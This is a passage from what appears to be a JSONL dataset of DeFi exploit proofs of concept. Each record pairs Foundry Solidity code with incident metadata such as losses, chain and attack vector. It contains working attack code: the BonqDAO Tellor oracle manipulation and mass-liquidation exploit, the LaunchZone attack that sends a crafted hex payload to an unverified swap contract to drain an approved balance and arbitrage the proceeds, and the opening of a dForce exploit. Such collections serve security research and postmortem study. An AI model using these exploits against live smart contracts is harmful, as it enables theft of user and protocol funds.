0x5343c5d0af82b89DF164A9e829A7102c4edB5402, \"Last trove creator is not attacker\"); // note: assert troves[44] is maliciousTrove2\n\n for (uint256 i = 1; i < troves.length; ++i) {\n // troves[1] ~ troves[44]\n troves[i] = BonqProxy.nextTrove(address(WALBT), troves[i - 1]);\n }\n\n console.log(\"Liqudate all borrowers\");\n for (uint256 i = 1; i < troves.length - 1; ++i) {\n address target = troves[i];\n require(BonqProxy.containsTrove(address(WALBT), target)); // check target exists before exploit\n uint256 debt = ITrove(target).debt();\n if (debt == 0) {\n continue; // trove no debt, pass\n }\n ITrove(target).liquidate();\n }\n\n console.log(\"Repay attacker's trove debt\");\n BEUR.approve(troves[44], type(uint256).max);\n ITrove(troves[44]).repay(type(uint256).max, address(0));\n uint256 walbt_in_attacker_trove = WALBT.balanceOf(troves[44]);\n emit log_named_decimal_uint(\"[debug] WALBT balance in attacker's trove\", walbt_in_attacker_trove, 18);\n\n console.log(\"Withdraw wALBT to Exploit contract\");\n address maliciousTrove2_owner = ITrove(troves[44]).getRoleMember(keccak256(\"OWNER_ROLE\"), 0);\n vm.prank(maliciousTrove2_owner);\n ITrove(troves[44]).decreaseCollateral(address(this), walbt_in_attacker_trove, address(0));\n }\n\n function updatePrice(uint256 _tokenId, uint256 _price) public {\n bytes memory queryData =\n hex\"00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000953706f745072696365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004616c62740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037573640000000000000000000000000000000000000000000000000000000000\"; // not sure what this means\n bytes32 queryId = keccak256(queryData);\n bytes memory price = abi.encodePacked(_price);\n TRB.approve(address(TellorFlex), type(uint256).max);\n TellorFlex.depositStake(_tokenId);\n TellorFlex.submitValue(queryId, price, 0, queryData);\n }\n}\n\ncontract PriceReporter is Test {\n function updatePrice(uint256 _tokenId, uint256 _price) public {\n (bool suc,) = msg.sender.delegatecall(abi.encodeWithSignature(\"updatePrice(uint256,uint256)\", _tokenId, _price));\n require(suc, \"Update price failed\");\n }\n}\n\n/*---------- Interface ----------*/\ninterface ITellorFlex {\n event NewReport(\n bytes32 indexed _queryId,\n uint256 indexed _time,\n bytes _value,\n uint256 _nonce,\n bytes _queryData,\n address indexed _reporter\n );\n event NewStakeAmount(uint256 _newStakeAmount);\n event NewStaker(address indexed _staker, uint256 indexed _amount);\n event ReporterSlashed(address indexed _reporter, address _recipient, uint256 _slashAmount);\n event StakeWithdrawRequested(address _staker, uint256 _amount);\n event StakeWithdrawn(address _staker);\n event ValueRemoved(bytes32 _queryId, uint256 _timestamp);\n\n function accumulatedRewardPerShare() external view returns (uint256);\n function addStakingRewards(\n uint256 _amount\n ) external;\n function depositStake(\n uint256 _amount\n ) external;\n function getBlockNumberByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (uint256);\n function getCurrentValue(\n bytes32 _queryId\n ) external view returns (bytes memory _value);\n function getDataBefore(\n bytes32 _queryId,\n uint256 _timestamp\n ) external view returns (bool _ifRetrieve, bytes memory _value, uint256 _timestampRetrieved);\n function getGovernanceAddress() external view returns (address);\n function getIndexForDataBefore(\n bytes32 _queryId,\n uint256 _timestamp\n ) external view returns (bool _found, uint256 _index);\n function getNewValueCountbyQueryId(\n bytes32 _queryId\n ) external view returns (uint256);\n function getPendingRewardByStaker(\n address _stakerAddress\n ) external returns (uint256 _pendingReward);\n function getRealStakingRewardsBalance() external view returns (uint256);\n function getReportDetails(bytes32 _queryId, uint256 _timestamp) external view returns (address, bool);\n function getReporterByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (address);\n function getReporterLastTimestamp(\n address _reporter\n ) external view returns (uint256);\n function getReportingLock() external view returns (uint256);\n function getReportsSubmittedByAddress(\n address _reporter\n ) external view returns (uint256);\n function getReportsSubmittedByAddressAndQueryId(\n address _reporter,\n bytes32 _queryId\n ) external view returns (uint256);\n function getStakeAmount() external view returns (uint256);\n function getStakerInfo(\n address _stakerAddress\n ) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, bool);\n function getTimeOfLastNewValue() external view returns (uint256);\n function getTimestampIndexByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (uint256);\n function getTimestampbyQueryIdandIndex(bytes32 _queryId, uint256 _index) external view returns (uint256);\n function getTokenAddress() external view returns (address);\n function getTotalStakeAmount() external view returns (uint256);\n function getTotalStakers() external view returns (uint256);\n function getTotalTimeBasedRewardsBalance() external view returns (uint256);\n function governance() external view returns (address);\n function init(\n address _governanceAddress\n ) external;\n function isInDispute(bytes32 _queryId, uint256 _timestamp) external view returns (bool);\n function minimumStakeAmount() external view returns (uint256);\n function owner() external view returns (address);\n function removeValue(bytes32 _queryId, uint256 _timestamp) external;\n function reportingLock() external view returns (uint256);\n function requestStakingWithdraw(\n uint256 _amount\n ) external;\n function retrieveData(bytes32 _queryId, uint256 _timestamp) external view returns (bytes memory);\n function rewardRate() external view returns (uint256);\n function slashReporter(address _reporter, address _recipient) external returns (uint256 _slashAmount);\n function stakeAmount() external view returns (uint256);\n function stakeAmountDollarTarget() external view returns (uint256);\n function stakingRewardsBalance() external view returns (uint256);\n function stakingTokenPriceQueryId() external view returns (bytes32);\n function submitValue(bytes32 _queryId, bytes memory _value, uint256 _nonce, bytes memory _queryData) external;\n function timeBasedReward() external view returns (uint256);\n function timeOfLastAllocation() external view returns (uint256);\n function timeOfLastNewValue() external view returns (uint256);\n function toWithdraw() external view returns (uint256);\n function token() external view returns (address);\n function totalRewardDebt() external view returns (uint256);\n function totalStakeAmount() external view returns (uint256);\n function totalStakers() external view returns (uint256);\n function updateStakeAmount() external;\n function verify() external pure returns (uint256);\n function withdrawStake() external;\n}\n\ninterface IOriginalTroveFactory {\n event AdminChanged(address previousAdmin, address newAdmin);\n event BeaconUpgraded(address indexed beacon);\n event CollateralUpdate(address token, uint256 totalCollateral);\n event DebtUpdate(address collateral, uint256 totalDebt);\n event Initialized(uint8 version);\n event NewTrove(address trove, address token, address owner);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event Paused(address account);\n event Redemption(\n address token,\n uint256 stableAmount,\n uint256 tokenAmount,\n uint256 stableUnspent,\n uint256 startBaseRate,\n uint256 finishBaseRate,\n address lastTroveRedeemed\n );\n event TroveCollateralUpdate(address trove, address token, uint256 newAmount, uint256 newCollateralization);\n event TroveDebtUpdate(\n address trove,\n address actor,\n address token,\n uint256 newAmount,\n uint256 baseRate,\n uint256 newCollateralization,\n uint256 feePaid\n );\n event TroveImplementationSet(address previousImplementation, address newImplementation);\n event TroveInserted(address token, address trove, address referenceTrove, bool before);\n event TroveLiquidated(\n address trove,\n address collateralToken,\n uint256 priceAtLiquidation,\n address stabilityPoolLiquidation,\n uint256 collateral\n );\n event TroveRemoved(address trove);\n event Unpaused(address account);\n event Upgraded(address indexed implementation);\n\n function BORROWING_RATE() external view returns (uint256);\n function DECIMAL_PRECISION() external view returns (uint256);\n function LIQUIDATION_RESERVE() external view returns (uint256);\n function MAX_BORROWING_RATE() external view returns (uint256);\n function MAX_INT() external view returns (uint256);\n function PERCENT() external view returns (uint256);\n function PERCENT10() external view returns (uint256);\n function PERCENT_05() external view returns (uint256);\n function WETHContract() external view returns (address);\n function arbitragePool() external view returns (address);\n function containsTrove(address _token, address _trove) external view returns (bool);\n function createTrove(\n address _token\n ) external returns (address trove);\n function createTroveAndBorrow(\n address _token,\n uint256 _collateralAmount,\n address _recipient,\n uint256 _borrowAmount,\n address _nextTrove\n ) external;\n function emitLiquidationEvent(\n address _token,\n address _trove,\n address stabilityPoolLiquidation,\n uint256 collateral\n ) external;\n function emitTroveCollateralUpdate(address _token, uint256 _newAmount, uint256 _newCollateralization) external;\n function emitTroveDebtUpdate(\n address _token,\n uint256 _newAmount,\n uint256 _newCollateralization,\n uint256 _feePaid\n ) external;\n function feeRecipient() external view returns (address);\n function firstTrove(\n address _token\n ) external view returns (address);\n function getBorrowingFee(\n uint256 _amount\n ) external view returns (uint256);\n function getRedemptionAmount(uint256 _feeRatio, uint256 _amount) external pure returns (uint256);\n function getRedemptionFee(uint256 _feeRatio, uint256 _amount) external pure returns (uint256);\n function getRedemptionFeeRatio(\n address _trove\n ) external view returns (uint256);\n function increaseCollateralNative(address _trove, address _newNextTrove) external payable;\n function initialize(address _stableCoin, address _feeRecipient) external;\n function insertTrove(address _token, address _newNextTrove) external;\n function lastTrove(\n address _token\n ) external view returns (address);\n function liquidateTrove(address _trove, address _token) external;\n function liquidationPool(\n address _token\n ) external view returns (address);\n function name() external view returns (string memory);\n function nextTrove(address _token, address _trove) external view returns (address);\n function owner() external view returns (address);\n function paused() external view returns (bool);\n function prevTrove(address _token, address _trove) external view returns (address);\n function proxiableUUID() external view returns (bytes32);\n function redeemStableCoinForCollateral(\n address _collateralToken,\n uint256 _stableAmount,\n uint256 _maxRate,\n uint256 _lastTroveCurrentICR,\n address _lastTroveNewPositionHint\n ) external;\n function removeTrove(address _token, address _trove) external;\n function renounceOwnership() external;\n function setArbitragePool(\n address _arbitragePool\n ) external;\n function setFeeRecipient(\n address _feeRecipient\n ) external;\n function setLiquidationPool(address _token, address _liquidationPool) external;\n function setStabilityPool(\n address _stabilityPool\n ) external;\n function setTokenOwner() external;\n function setTokenPriceFeed(\n address _tokenPriceFeed\n ) external;\n function setTroveImplementation(\n address _troveImplementation\n ) external;\n function setWETH(address _WETH, address _liquidationPool) external;\n function stabilityPool() external view returns (address);\n function stableCoin() external view returns (address);\n function togglePause() external;\n function tokenCollateralization(\n address _token\n ) external view returns (uint256);\n function tokenOwner() external view returns (address);\n function tokenToPriceFeed() external view returns (address);\n function totalCollateral(\n address _token\n ) external view returns (uint256);\n function totalDebt() external view returns (uint256);\n function totalDebtForToken(\n address _token\n ) external view returns (uint256);\n function transferOwnership(\n address newOwner\n ) external;\n function transferTokenOwnerOwnership(\n address _newOwner\n ) external;\n function transferTokenOwnership(\n address _newOwner\n ) external;\n function troveCount(\n address _token\n ) external view returns (uint256);\n function troveImplementation() external view returns (address);\n function updateTotalCollateral(address _token, uint256 _amount, bool _increase) external;\n function updateTotalDebt(uint256 _amount, bool _borrow) external;\n function upgradeTo(\n address newImplementation\n ) external;\n function upgradeToAndCall(address newImplementation, bytes memory data) external payable;\n}\n\ninterface ITrove {\n event Liquidated(address trove, uint256 debt, uint256 collateral);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n function BORROWING_RATE() external view returns (uint256);\n function DECIMAL_PRECISION() external view returns (uint256);\n function DEFAULT_ADMIN_ROLE() external view returns (bytes32);\n function LIQUIDATION_RESERVE() external view returns (uint256);\n function MAX_BORROWING_RATE() external view returns (uint256);\n function MAX_INT() external view returns (uint256);\n function OWNER_ROLE() external view returns (bytes32);\n function PERCENT() external view returns (uint256);\n function PERCENT10() external view returns (uint256);\n function PERCENT_05() external view returns (uint256);\n function TOKEN_PRECISION() external view returns (uint256);\n function addOwner(\n address _newOwner\n ) external;\n function arbitrageParticipation() external view returns (bool);\n function arbitrageState() external view returns (address arbitragePool, address apToken, uint256 lastApPrice);\n function borrow(address _recipient, uint256 _amount, address _newNextTrove) external;\n function collateral() external view returns (uint256);\n function collateralValue() external view returns (uint256);\n function collateralization() external view returns (uint256);\n function debt() external view returns (uint256);\n function decreaseCollateral(address _recipient, uint256 _amount, address _newNextTrove) external;\n function factory() external view returns (address);\n function getRoleAdmin(\n bytes32 role\n ) external view returns (bytes32);\n function getRoleMember(bytes32 role, uint256 index) external view returns (address);\n function getRoleMemberCount(\n bytes32 role\n ) external view returns (uint256);\n function grantRole(bytes32 role, address account) external;\n function hasRole(bytes32 role, address account) external view returns (bool);\n function increaseCollateral(uint256 _amount, address _newNextTrove) external;\n function initialize(address _token, address _troveOwner) external;\n function liqTokenRateSnapshot() external view returns (uint256);\n function liquidate() external;\n function liquidationReserve() external view returns (uint256);\n function mcr() external view returns (uint256);\n function netDebt() external view returns (uint256);\n function owner() external view returns (address);\n function recordedCollateral() external view returns (uint256);\n function redeem(\n address _recipient,\n address _newNextTrove\n ) external returns (uint256 _stableAmount, uint256 _collateralRecieved);\n function removeOwner(\n address _ownerToRemove\n ) external;\n function renounceOwnership() external;\n function renounceRole(bytes32 role, address account) external;\n function repay(uint256 _amount, address _newNextTrove) external;\n function revokeRole(bytes32 role, address account) external;\n function setArbitrageParticipation(\n bool _state\n ) external;\n function supportsInterface(\n bytes4 interfaceId\n ) external view returns (bool);\n function token() external view returns (address);\n function transferOwnership(\n address _newOwner\n ) external;\n function transferToken(address _token, address _recipient) external;\n function unclaimedArbitrageReward() external view returns (uint256);\n function unclaimedCollateralRewardAndDebt() external view returns (uint256, uint256);\n}\n", "type": "exploit_poc", "protocol": "BonqDAO", "date": "2023-02", "file_name": "BonqDAO_exp.sol", "attack_vector": "oracle_manipulation", "content_hash": "1b16549a68b78baa", "collected_at": "2026-01-07T10:59:16.515361", "_source": "postmortems", "chain": "polygon", "block_number": 38792977, "total_lost_raw": "BEUR stablecoin and ALBT token (~88MUS$)", "total_lost_usd": 88000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "BEUR stablecoin and ALBT token (~88MUS$)", "category": "oracle-manipulation", "exploit_code": "function testExploit() public {\n // Full simulation, run Tx1 and Tx2\n vm.createSelectFork(\"polygon\", 38_792_977);\n exploit = new Exploit();\n\n // Pre-works, check out: https://polygonscan.com/address/0xed596991ac5f1aa1858da66c67f7cfa76e54b5f1#tokentxns\n deal(address(TRB), address(exploit), 20e18); // just for staking purposes, we simplify to 20e18 :)\n deal(address(WALBT), address(exploit), 13.35973256272339977e18 * 2);\n\n exploit.tx1_mintMassiveAmountOfBEUR();\n\n vm.roll(38_793_028);\n vm.warp(1_675_276_266);\n\n exploit.tx2_liquidateMassiveAmountOfALBT();\n\n // Print exploit result\n emit log_named_decimal_uint(\"[result] BEUR balance in Exploit contract\", BEUR.balanceOf(address(exploit)), 18);\n emit log_named_decimal_uint(\"[result] wALBT balance in Exploit contract\", WALBT.balanceOf(address(exploit)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$88.00M", "content_richness_score": 7, "quality_estimate": "medium", "title": "BonqDAO Exploit (2023-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\n\n// analysis\n// https://blog.verichains.io/p/analyzing-the-lz-token-hack\n// https://twitter.com/immunefi/status/1630210901360951296\n// https://bscscan.com/tx/0xaee8ef10ac816834cd7026ec34f35bdde568191fe2fa67724fcf2739e48c3cae exploit tx\n\n// reponse\n// https://twitter.com/launchzoneann/status/1631538253424918528\n\n// contracts to study\n// https://bscscan.com/address/0x0ccee62efec983f3ec4bad3247153009fb483551 proxy for implementation (verified)\n// https://bscscan.com/address/0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01 implementation (unverified)\n// https://bscscan.com/address/0x1c2b102f22c08694eee5b1f45e7973b6eaca3e92 attacker contract\n\ninterface UniRouterLike {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n}\n\ninterface ERC20Like {\n function transfer(address to, uint256 amount) external returns (bool);\n\n function balanceOf(\n address account\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n\n function allowance(address owner, address spender) external view returns (uint256);\n}\n\ncontract LaunchZoneExploit is Test {\n ERC20Like LZ;\n ERC20Like BUSD;\n ERC20Like BISWAPPair;\n UniRouterLike BISWAPRouter;\n UniRouterLike pancackeRouter;\n\n address immutable BscexDeployer = 0xdad254728A37D1E80C21AFae688C64d0383cc307;\n address immutable attacker = 0x1C2B102f22c08694EEe5B1f45E7973b6EACA3e92;\n\n address immutable swapXImp = 0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01; // unverified\n\n function setUp() public {\n // select and fork bsc at 26024420\n vm.createSelectFork(\"bsc\", 26_024_420 - 1); // previous block so still there is fund\n LZ = ERC20Like(0x3B78458981eB7260d1f781cb8be2CaAC7027DbE2);\n BUSD = ERC20Like(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n BISWAPPair = ERC20Like(0xDb821BB482cfDae5D3B1A48EeaD8d2F74678D593);\n BISWAPRouter = UniRouterLike(0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8);\n pancackeRouter = UniRouterLike(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n vm.label(BscexDeployer, \"BscexDeployer\");\n\n vm.label(address(LZ), \"LZ\");\n vm.label(address(BUSD), \"BUSD\");\n vm.label(address(BISWAPPair), \"BISWAP\");\n vm.label(address(BISWAPRouter), \"BISWAP Router\");\n vm.label(attacker, \"attacker\");\n vm.label(address(this), \"thisContract\");\n }\n\n function testExploit() public {\n console.log(\"Running on BSC at : \", block.number);\n\n console.log(\"BscexDeployer LZ Balalnce\", LZ.balanceOf(BscexDeployer));\n console.log(\"LZ allowance to swapXImp\", LZ.allowance(BscexDeployer, swapXImp) / 1e18);\n\n // lazy payload check the previous swapX PoC\n // swapX.call(abi.encodeWithSelector(0x4f1f05bc, swapPath, transferAmount, value, array, victims[i]));\n // calling unverified contract of swapXImp with payload containing swap\n // (bool success, bytes memory returndata) = swapXImpl.call{value: msg.value}(data);\n\n bytes memory payload =\n hex\"4f1f05bc00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000082da53fc059357f82f9b400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000dad254728a37d1e80c21afae688c64d0383cc30700000000000000000000000000000000000000000000000000000000000000020000000000000000000000003b78458981eb7260d1f781cb8be2caac7027dbe2000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d5600000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";\n (bool success,) = address(swapXImp).call(payload);\n console.log(\"Payload delivered\", success);\n\n console.log(\"BscexDeployer BUSD Balalnce\", BUSD.balanceOf(BscexDeployer) / 1e18);\n\n // give attacker 50 BUSD\n deal(address(BUSD), address(this), 50 * 1e18);\n\n // get BUSD from attacker\n console.log(\"attacker BUSD Balalnce\", BUSD.balanceOf(address(this)) / 1e18);\n\n // approve router for 50 BUSD\n BUSD.approve(address(BISWAPRouter), 50 * 1e18);\n\n //get amount out for BUSD to LZ\n // define path\n address[] memory path = new address[](2);\n path[0] = address(BUSD);\n path[1] = address(LZ);\n\n uint256[] memory amounts = BISWAPRouter.getAmountsOut(50 * 1e18, path);\n console.log(\"amounts BUSD/LZ\", amounts[0] / 1e18, amounts[1] / 1e18);\n\n // do the swap\n BISWAPRouter.swapExactTokensForTokens(amounts[0], amounts[1], path, address(this), block.timestamp);\n\n // at this point attack has 9_886_999 for 50 BUSD\n console.log(\"attacker LZ Balalnce\", LZ.balanceOf(address(this)) / 1e18);\n\n console.log(\"attacker BUSD Balalnce\", BUSD.balanceOf(address(this)) / 1e18);\n\n // reverse swap on pancake\n // building a new path\n address[] memory path2 = new address[](2);\n path2[0] = address(LZ);\n path2[1] = address(BUSD);\n\n // get amount out for LZ to BUSD from pancackeRouter\n uint256[] memory amounts2 = pancackeRouter.getAmountsOut(LZ.balanceOf(address(this)), path2);\n\n console.log(\"amounts LZ/BUSD\", amounts2[0] / 1e18, amounts2[1] / 1e18);\n\n // attacker gets 88,899 BUSD for 9,886,999 LZ which bought for 50 BUSD\n // approve pancackeRouter for 9,886,999 LZ\n LZ.approve(address(pancackeRouter), LZ.balanceOf(address(this)));\n\n // do the swap\n pancackeRouter.swapExactTokensForTokens(amounts2[0], amounts2[1], path2, address(this), block.timestamp);\n // check current BSUSD balance\n console.log(\"attacker BUSD Balalnce\", BUSD.balanceOf(address(this)) / 1e18);\n }\n}\n", "type": "exploit_poc", "protocol": "LaunchZone", "date": "2023-02", "file_name": "LaunchZone_exp.sol", "attack_vector": null, "content_hash": "0bdce8584698f823", "collected_at": "2026-01-07T10:59:16.515494", "_source": "postmortems", "chain": "bsc", "block_number": 26024420, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n console.log(\"Running on BSC at : \", block.number);\n\n console.log(\"BscexDeployer LZ Balalnce\", LZ.balanceOf(BscexDeployer));\n console.log(\"LZ allowance to swapXImp\", LZ.allowance(BscexDeployer, swapXImp) / 1e18);\n\n // lazy payload check the previous swapX PoC\n // swapX.call(abi.encodeWithSelector(0x4f1f05bc, swapPath, transferAmount, value, array, victims[i]));\n // calling unverified contract of swapXImp with payload containing swap\n // (bool success, bytes memory returndata) = swapXImpl.call{value: msg.value}(data);\n\n bytes memory payload =\n hex\"4f1f05bc00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000082da53fc059357f82f9b400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000dad254728a37d1e80c21afae688c64d0383cc30700000000000000000000000000000000000000000000000000000000000000020000000000000000000000003b78458981eb7260d1f781cb8be2caac7027dbe2000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d5600000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";\n (bool success,) = address(swapXImp).call(payload);\n console.log(\"Payload delivered\", success);\n\n console.log(\"BscexDeployer BUSD Balalnce\", BUSD.balanceOf(BscexDeployer) / 1e18);\n\n // give attacker 50 BUSD\n deal(address(BUSD), address(this), 50 * 1e18);\n\n // get BUSD from attacker\n console.log(\"attacker BUSD Balalnce\", BUSD.balanceOf(address(this)) / 1e18);\n\n // approve router for 50 BUSD\n BUSD.approve(address(BISWAPRouter), 50 * 1e18);\n\n //get amount out for BUSD to LZ\n // define path\n address[] memory path = new address[](2);\n path[0] = address(BUSD);\n path[1] = address(LZ);\n\n uint256[] memory amounts = BISWAPRouter.getAmountsOut(50 * 1e18, path);\n console.log(\"amounts BUSD/LZ\", amounts[0] / 1e18, amounts[1] / 1e18);\n\n // do the swap\n BISWAPRouter.swapExactTokensForTokens(amounts[0], amounts[1], path, address(this), block.timestamp);\n\n // at this point attack has 9_886_999 for 50 BUSD\n console.log(\"attacker LZ Balalnce\", LZ.balanceOf(address(this)) / 1e18);\n\n console.log(\"attacker BUSD Balalnce\", BUSD.balanceOf(address(this)) / 1e18);\n\n // reverse swap on pancake\n // building a new path\n address[] memory path2 = new address[](2);\n path2[0] = address(LZ);\n path2[1] = address(BUSD);\n\n // get amount out for LZ to BUSD from pancackeRouter\n uint256[] memory amounts2 = pancackeRouter.getAmountsOut(LZ.balanceOf(address(this)), path2);\n\n console.log(\"amounts LZ/BUSD\", amounts2[0] / 1e18, amounts2[1] / 1e18);\n\n // attacker gets 88,899 BUSD for 9,886,999 LZ which bought for 50 BUSD\n // approve pancackeRouter for 9,886,999 LZ\n LZ.approve(address(pancackeRouter), LZ.balanceOf(address(this)));\n\n // do the swap\n pancackeRouter.swapExactTokensForTokens(amounts2[0], amounts2[1], path2, address(this), block.timestamp);\n // check current BSUSD balance\n console.log(\"attacker BUSD Balalnce\", BUSD.balanceOf(address(this)) / 1e18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5, "quality_estimate": "medium", "title": "LaunchZone Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/SlowMist_Team/status/1623956763598000129\n// https://twitter.com/BlockSecTeam/status/1623901011680333824\n// https://twitter.com/peckshield/status/1623910257033617408\n// @TX\n// https://arbiscan.io/tx/0x5db5c2400ab56db697b3cc9aa02a05deab658e1438ce2f8692ca009cc45171dd\n\ninterface uniswapV3Flash {\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ninterface ISwapFlashLoan {\n function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;\n}\n\ninterface IVWSTETHCRVGAUGE is IERC20 {\n function redeem(address receiver, uint256 amount) external;\n}\n\ninterface ICurvePools is ICurvePool {\n function remove_liquidity(\n uint256 token_amount,\n uint256[2] memory min_amounts\n ) external returns (uint256[2] memory);\n}\n\ninterface IDForce {\n function borrowBalanceStored(\n address account\n ) external returns (uint256);\n function liquidateBorrow(address _borrower, uint256 _repayAmount, address _assetCollateral) external;\n}\n\ninterface IPriceOracleV2 {\n function getUnderlyingPrice(\n address _asset\n ) external returns (uint256);\n}\n\ninterface GMXVAULT {\n function swap(address _tokenIn, address _tokenOut, address _receiver) external;\n}\n\ncontract ContractTest is Test {\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IERC20 USX = IERC20(0x641441c631e2F909700d2f41FD87F0aA6A6b4EDb);\n IERC20 WSTETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);\n IERC20 WSTETHCRV = IERC20(0xDbcD16e622c95AcB2650b38eC799f76BFC557a0b);\n IERC20 WSTETHCRVGAUGE = IERC20(0x098EF55011B6B8c99845128114A9D9159777d697);\n IVWSTETHCRVGAUGE VWSTETHCRVGAUGE = IVWSTETHCRVGAUGE(0x2cE498b79C499c6BB64934042eBA487bD31F75ea);\n IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IAaveFlashloan Radiant = IAaveFlashloan(0x2032b9A8e9F7e76768CA9271003d3e43E1616B1F);\n uniswapV3Flash UniV3Flash = uniswapV3Flash(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);\n Uni_Pair_V2 SLP1 = Uni_Pair_V2(0xB7E50106A5bd3Cf21AF210A755F9C8740890A8c9);\n Uni_Pair_V2 SLP2 = Uni_Pair_V2(0x905dfCD5649217c42684f23958568e533C711Aa3);\n Uni_Pair_V2 SLP3 = Uni_Pair_V2(0x0C1Cf6883efA1B496B01f654E247B9b419873054);\n Uni_Pair_V2 ZLP = Uni_Pair_V2(0x8b8149Dd385955DC1cE77a4bE7700CCD6a212e65);\n ISwapFlashLoan swapFlashLoan = ISwapFlashLoan(0xa067668661C84476aFcDc6fA5D758C4c01C34352);\n ICurvePools curvePool = ICurvePools(0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80);\n ICointroller cointroller = ICointroller(0x61afB763bc265bD372e8Af8daC00196C9A5eCea0);\n address aArbWETH = 0xe50fA9b3c56FfB159cB0FCA61F5c9D750e8128c8;\n address rWETH = 0x15b53d277Af860f51c3E6843F8075007026BBb3a;\n IDForce dForceContract = 